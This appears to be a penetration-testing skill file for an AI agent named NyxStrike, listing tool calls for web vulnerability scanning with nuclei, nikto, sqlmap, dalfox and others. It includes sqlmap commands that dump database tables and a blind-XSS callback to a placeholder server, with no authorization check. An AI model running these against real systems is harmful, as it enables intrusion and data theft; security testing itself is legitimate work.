Web Vuln

web-vuln

Web vulnerability scanning workflow for NyxStrike. Use this skill when a user wants to find SQL injection, XSS, SSRF, misconfigurations, or run a broad CVE scan against a web target.

Workflow

1. Broad CVE and misconfiguration scan (nuclei)

Start with nuclei — it covers the widest range of vulnerabilities with minimal noise.

run_tool(tool="nuclei", target="https://<target>")

Narrow by severity or tag when you want focused results:

# Critical and high only
run_tool(tool="nuclei", target="https://<target>", severity="critical,high")

# Technology-specific
run_tool(tool="nuclei", target="https://<target>", tags="wordpress,apache,nginx,php")

# Exposure checks only
run_tool(tool="nuclei", target="https://<target>", tags="exposure,misconfig")

2. General web server scan (nikto)

Run nikto in parallel with or after nuclei for server-level issues (headers, default files, SSL):

run_tool(tool="nikto", target="https://<target>")

3. SQL injection (sqlmap)

Target a specific URL with parameters. Supply POST data when needed.

# GET parameter
run_tool(tool="sqlmap", url="https://<target>/page?id=1",
         additional_args="--batch --level=3 --risk=2")

# POST request
run_tool(tool="sqlmap", url="https://<target>/login",
         data="username=admin&password=test",
         additional_args="--batch --dbs")

Escalate once injection is confirmed:

# Dump database list
run_tool(tool="sqlmap", url="...", additional_args="--batch --dbs")

# Dump a specific table
run_tool(tool="sqlmap", url="...", additional_args="--batch -D <db> -T <table> --dump")

4. XSS scanning (dalfox)

Run dalfox against endpoints that reflect user input:

run_tool(tool="dalfox", url="https://<target>/search?q=test")

# With blind XSS callback
run_tool(tool="dalfox", url="https://<target>/search?q=test",
         blind=true,
         additional_args="--blind https://<your-callback-server>")

5. Directory traversal (dotdotpwn)

Use when the app appears to serve files or has path parameters:

run_tool(tool="dotdotpwn", target="<target>",
         additional_args="-m http -o unix")

6. Framework scan (jaeles)

Jaeles covers complex multi-step vulnerability chains:

run_tool(tool="jaeles", url="https://<target>")

Prioritisation guide

Tips

• Always run nuclei first — it gives the broadest signal for the least effort.
• Feed URLs discovered by katana or gau (from web-recon skill) into sqlmap and dalfox for wider attack surface.
• Use --batch with sqlmap to avoid interactive prompts in automated runs.
• Combine nuclei tag filters: tags="cve,rce,lfi" for high-impact checks only.
